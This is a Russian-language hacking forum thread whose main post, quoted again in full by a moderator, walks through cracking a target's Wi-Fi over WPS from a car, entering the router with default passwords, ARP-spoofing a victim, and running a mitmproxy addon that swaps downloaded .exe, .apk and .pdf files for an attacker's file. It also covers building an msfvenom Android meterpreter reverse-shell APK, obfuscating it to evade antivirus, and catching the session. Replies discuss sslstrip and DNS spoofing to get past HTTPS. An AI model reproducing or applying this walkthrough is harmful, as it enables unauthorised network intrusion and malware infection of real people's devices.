Статья Target Wi-FI pwn -> MITM File injection -> meterpreter session (или еще одна статья по митму)

Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси.
пару строчек кода на питоне, в качестве плагина для митмпрокси
msfvenom -
генератор нашего импланта
msfconsole - хендлер нашего бекконекта :D
obfuskapk - опенсоурсній криптер для APK

0)
Код:
ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертві.
Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно выйти из машины и пройтись вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности.
откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем

# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
если ті на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd
если ті не на линуксе - ставь линукс.
service networking restart

Важный момент - NetworkManager не совместим с networking - это два разных сервиса на Линукс системах. Обычно из коробки они оба присутствуют в системе, но работает гравический вариант - то есть первый. Я же не люблю его, так как он часто мешает и самостоятельно переподключается к т.д. с лучшим сигналом и тому подобное. Так что его мы выключаем, а включаем networking

далее, смотрим что мі в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20<link>
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0
увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n
Код:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    0      0        0 wlx00c0caa79483
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlx00c0caa79483
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.

Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet.

Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│     IP ▴      │        MAC        │      Name       │            Vendor             │ Sent  │ Recvd │   Seen   │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤
│ 192.168.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                               │ 0 B   │ 0 B   │ 09:17:23 │
│ 192.168.0.1   │ c4:71:54:c3:9b:a6 │ gateway         │ Tp-Link Technologies Co.,Ltd. │ 25 kB │ 27 kB │ 09:17:23 │
│               │                   │                 │                               │       │       │          │
│ 192.168.0.2   │ 30:b5:c2:d3:72:8a │                 │ Tp-Link Technologies Co.,Ltd. │ 32 kB │ 28 kB │ 09:17:48 │
│ 192.168.0.100 │ d0:03:df:1b:0f:b7 │                 │ Samsung Electronics Co.,Ltd   │ 0 B   │ 0 B   │ 09:17:36 │
│ 192.168.0.102 │ c8:3d:dc:12:35:55 │                 │                               │ 30 kB │ 31 kB │ 09:17:48 │
│ 192.168.0.103 │ fe:f5:82:11:f9:0f │                 │                               │ 23 kB │ 25 kB │ 09:17:46 │
│ 192.168.0.104 │ b4:74:43:f9:b8:11 │                 │ Samsung Electronics Co.,Ltd   │ 38 kB │ 41 kB │ 09:17:46 │
│ 192.168.0.106 │ 9c:4e:36:6b:1d:98 │                 │ Intel Corporate               │ 0 B   │ 37 kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, цель мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"):
        print("[+] О, дивись, під вінду щось качае гад")
        #flow.request.host = "mitmproxy.org"
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/EU.exe"})
        print("[?] Осьо получи фашист гранату")

    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"):
        print("[+] О, дивись, під андроїд щось качае гад")
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/calc.apk"})
        print("[?] Осьо получи фашист гранату")
смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py

ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf
Bash:
table ip filter {
    chain FORWARD {
        type filter hook forward priority 0; policy accept;
    }

    chain INPUT {
        type filter hook input priority 0; policy accept;
    }

    chain OUTPUT {
        type filter hook output priority 0; policy accept;
    }
}
table ip nat {
    chain PREROUTING {
        type nat hook prerouting priority -100; policy accept;
        iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080

    }

    chain INPUT {
        type nat hook input priority 100; policy accept;
    }

    chain POSTROUTING {
        type nat hook postrouting priority 100; policy accept;
        oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
    }

    chain OUTPUT {
        type nat hook output priority -100; policy accept;
    }
}

потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:
any.proxy (not running): A firewall redirection to any custom proxy.

   any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
     any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
     any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
     any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как алабай на алкаша в три часа ночи в частном секторе.

по этому мы заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01<00:00,  8.84s/obfuscator]
files: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████|[00:07<00:00, 984.63file/s]
полученній obf.apk положим на наш сервак и назавем его к примеру calc.apk

запускаем метасплоит
# msfconsole

Код:
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v5.0.67-dev-                         ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
use exploit/multi/handler
msf5 exploit(multi/handler) >
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
все. ждем пока жертва запустит нагрузку.

Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1         meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи

IMG-20200101-WA0016.jpeg
 

Calibre

Green Team
22.04.2018
39
28
BIT
0
если ті на линуксе -
# nano /etc/network/interfaces


Код:

auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd

если ті не на линуксе - ставь линукс.

в голос
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Есть среди нас ребята, кто шарит на питоне?

Есть такая софтина - PEINJECTOR. Очень крутой фреймворк, на лету внедряет имплант в передающийся PE файл. но вот из-за отсутствия поддержки не хочет нормально работать. Если быть точным - там используются куски mitmproxy 0.18. где ещё принципиально другие функции используются. И написан он (митмпрокси, а соответственно peinjector-interceptor) на питоне втором.

Надо подправить под третий. Был бы очень-очень крутецеий тулсет.
 

b0d

Green Team
02.11.2019
35
64
BIT
0
Красавчик, очень годно!

Вопрос по митмпрокси. Если я правил ьно понял, то когла жертва пойдет на гугл плей и начнет установку какой-нибудь игрули, то вместо игрули к ней залетит имплатн.
Но ведь сейчас везде ssl, как митмпрокси влезает в ssl
соединение?
 
  • Нравится
Реакции: Sunnych и swagcat228

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Красавчик, очень годно!

Вопрос по митмпрокси. Если я правил ьно понял, то когла жертва пойдет на гугл плей и начнет установку какой-нибудь игрули, то вместо игрули к ней залетит имплатн.
Но ведь сейчас везде ssl, как митмпрокси влезает в ssl
соединение?
Не совсем так. Дело в том, что в плеймаркете используются цифровые подписи разработчика, и чексуммы. Даже если взять приложение из плеймаркете, потом его пробэкдорить, например с помощью TheFatRat которое в свою очередь это делает с помощью ApkBackDoor - то когда мы его будем пытаться установить - плеймаркет будет визжать об этом как сучка.

Есть уязвимость в этих цифровых подписях - но версии 1.0. сейчас используется 2.0

Так вот, сам плеймаркет гонит траффик tcp/ip. И для того, что бы это все сработало - нужно либо ждать пока наш поциент скачает что-то через браузер, либо юзать СИ.

Либо, как вариант, эксплуатировать распространенные уязвимости мобильных браузеров.

Есть ещё варианты:
Самый лучший, как по мне, это сделать что-то типа DNS спуфинга + sslstrip - которые сперва скажут что google.com на самом деле находятся по адресу 192.168.0.144, а потом скажут что google.com на самом деле отвечают и работают с портом 80 по протоколу http v1.0

Так вот, в этом случае, по идее, нам не помеха не HSTS не SSL.

Вопрос в том, что Google Chrome , к примеру, если видит , в прямом смысле видит, на загруженной странице сайт гугл , но это не сервер гугл, то он стучит в гугл, и фишинг перестает работать.

То есть, нам нужно куда более глубокого анализировать и оттачивать этот момент.



На самом деле я мечтаю довести эту технику таргетированно проникновения до автоматизма без СИ
 
  • Нравится
Реакции: Ondrik8 и b0d

pr0phet

Platinum
02.04.2018
358
496
BIT
12
Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Єто должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов аиргеддонов вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает куда пиздаче, чем что-либо
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука
пару строчек кода на питоне.
msfvenom -
генератор нашего импланта
msfconsole - хендлер нашего бекконекта :D
obfuskapk - опенсоурсній криптер для APK

0)
# ifconfig wlx00c0caa79483 down && maccenger -r wlx00c0caa79483

1) подтягиваемся в салоне своего тазика к окошку жертві, откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем
# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль.
если ті на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd
если ті не на линуксе - ставь линукс.

далее, смотрим что мі в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20<link>
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0
увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n
Код:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    0      0        0 wlx00c0caa79483
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlx00c0caa79483
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.
Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│     IP ▴      │        MAC        │      Name       │            Vendor             │ Sent  │ Recvd │   Seen   │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤
│ 192.168.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                               │ 0 B   │ 0 B   │ 09:17:23 │
│ 192.168.0.1   │ c4:71:54:c3:9b:a6 │ gateway         │ Tp-Link Technologies Co.,Ltd. │ 25 kB │ 27 kB │ 09:17:23 │
│               │                   │                 │                               │       │       │          │
│ 192.168.0.2   │ 30:b5:c2:d3:72:8a │                 │ Tp-Link Technologies Co.,Ltd. │ 32 kB │ 28 kB │ 09:17:48 │
│ 192.168.0.100 │ d0:03:df:1b:0f:b7 │                 │ Samsung Electronics Co.,Ltd   │ 0 B   │ 0 B   │ 09:17:36 │
│ 192.168.0.102 │ c8:3d:dc:12:35:55 │                 │                               │ 30 kB │ 31 kB │ 09:17:48 │
│ 192.168.0.103 │ fe:f5:82:11:f9:0f │                 │                               │ 23 kB │ 25 kB │ 09:17:46 │
│ 192.168.0.104 │ b4:74:43:f9:b8:11 │                 │ Samsung Electronics Co.,Ltd   │ 38 kB │ 41 kB │ 09:17:46 │
│ 192.168.0.106 │ 9c:4e:36:6b:1d:98 │                 │ Intel Corporate               │ 0 B   │ 37 kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, жерту мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"): 
        print("[+] О, дивись, під вінду щось качае гад")
        #flow.request.host = "mitmproxy.org"
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/EU.exe"})
        print("[?] Осьо получи фашист гранату")

    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"): 
        print("[+] О, дивись, під андроїд щось качае гад")
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/calc.apk"})
        print("[?] Осьо получи фашист гранату")
смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py

ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legay и так далее. они все уже deprecated и скоро работать перетанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf
Bash:
table ip filter {
    chain FORWARD {
        type filter hook forward priority 0; policy accept;
    }

    chain INPUT {
        type filter hook input priority 0; policy accept;
    }

    chain OUTPUT {
        type filter hook output priority 0; policy accept;
    }
}
table ip nat {
    chain PREROUTING {
        type nat hook prerouting priority -100; policy accept;
        iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080

    }

    chain INPUT {
        type nat hook input priority 100; policy accept;
    }

    chain POSTROUTING {
        type nat hook postrouting priority 100; policy accept;
        oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
    }

    chain OUTPUT {
        type nat hook output priority -100; policy accept;
    }
}

потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:
any.proxy (not running): A firewall redirection to any custom proxy.

   any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
     any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
     any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
     any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как на солевого наркомана на 5х сутках. негоже.

по єтому мі заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01<00:00,  8.84s/obfuscator]
files: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████|[00:07<00:00, 984.63file/s]
полученній obf.apk положим на наш сервак и назавем его к примеру calc.apk

запускаем метасплоит
# msfconsole

Код:
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v5.0.67-dev-                         ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
use exploit/multi/handler
msf5 exploit(multi/handler) >
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
все. ждем пока жертва запустит нагрузку.

Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1         meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи
Уважаемый Автор.
Ваша статья в целом не плоха - но не могли бы вы воздержаться от употребления нецензурной брани и школьного сленга в её изложении?
К сожалению, отправлена в песочницу для исправления.
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
На форуме исключен мат! Особенно в статьях. Просьба обратить внимание на пост выше. По поводу "сленга" - на личное усмотрение, но очень рекомендую придерживаться литературного стиля изложения.
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Я Вас услышал.
К сожалению, я не вижу опции редактирования поста.

Как мне это исправить?
 
  • Нравится
Реакции: b0d

pr0phet

Platinum
02.04.2018
358
496
BIT
12
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.
Прям как в сказке :)
В большинстве случаев атака закончится на этих этапах.
WPS почти всегда сейчас имеет защиту от брута пина и банит на n-ное количество времени. Брут может длиться крайне долго.
 
Последнее редактирование:
  • Нравится
Реакции: WhiteHacK

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Прям как в сказке :)
В большинстве случаев атака закончится на этих этапах.
WPS почти всегда сейчас имеет защиту от брута пина и банит на n-ное количество времени. Брут может длиться крайне долго.
К сожалению, или к счастью, большая часть роутеров именно так и работают на сегодняшний день.

Есть ещё ряд эксплоитов под эти веб интерфейсы.

Быть может мы нам намекнёте как поступать в таких случаях?)
 

b0d

Green Team
02.11.2019
35
64
BIT
0
Бро, если есть опыт с sslstrip, расскажи подробнее он вообще актуален сейчас? я смотрел видос в ютубе там чел говорил что в bettercap 1 он работает норм, а в bettercap2 косячит и страницы не открываются. Это особенность беттеркапоской реализации или sslstrip как таковой умирает?
 

b0d

Green Team
02.11.2019
35
64
BIT
0
Я Вас услышал.
К сожалению, я не вижу опции редактирования поста.

Как мне это исправить?

По стилистике соглашусь с модераторами. Еще давным давно хакер ру ушел от кислотного хипарьского сленга, дабы добавить серьезности изданию. Времена сетевых хулиганов ушли, особенно в СМИ.
Раньше писали статьи поприколу ради респекта и е-зинов, теперь все вокруг пентестеры и этичные хакеры :)), пришло время годного контента, за который платят. Но платить будут только за опрятный нетоксичный контент.

Так что искренне желаю тебе безболезнено сменить стиль и заточиться по солидный формат) Юмор оставляй, это всегда хорошо, хотя зависит от редполитики издания.
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
По стилистике соглашусь с модераторами. Еще давным давно хакер ру ушел от кислотного хипарьского сленга, дабы добавить серьезности изданию. Времена сетевых хулиганов ушли, особенно в СМИ.
Раньше писали статьи поприколу ради респекта и е-зинов, теперь все вокруг пентестеры и этичные хакеры :)), пришло время годного контента, за который платят. Но платить будут только за опрятный нетоксичный контент.

Так что искренне желаю тебе безболезнено сменить стиль и заточиться по солидный формат) Юмор оставляй, это всегда хорошо, хотя зависит от редполитики издания.
Статья была написана после очередной бессонной ночи, в 6 утра, на дебиане даже без русской раскладки. И, как ты и сказал, не ради хайпа, а просто искренне. Недельки 2 я мучал эту тему.
 
  • Нравится
Реакции: BR007 и yarr

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Бро, если есть опыт с sslstrip, расскажи подробнее он вообще актуален сейчас? я смотрел видос в ютубе там чел говорил что в bettercap 1 он работает норм, а в bettercap2 косячит и страницы не открываются. Это особенность беттеркапоской реализации или sslstrip как таковой умирает?
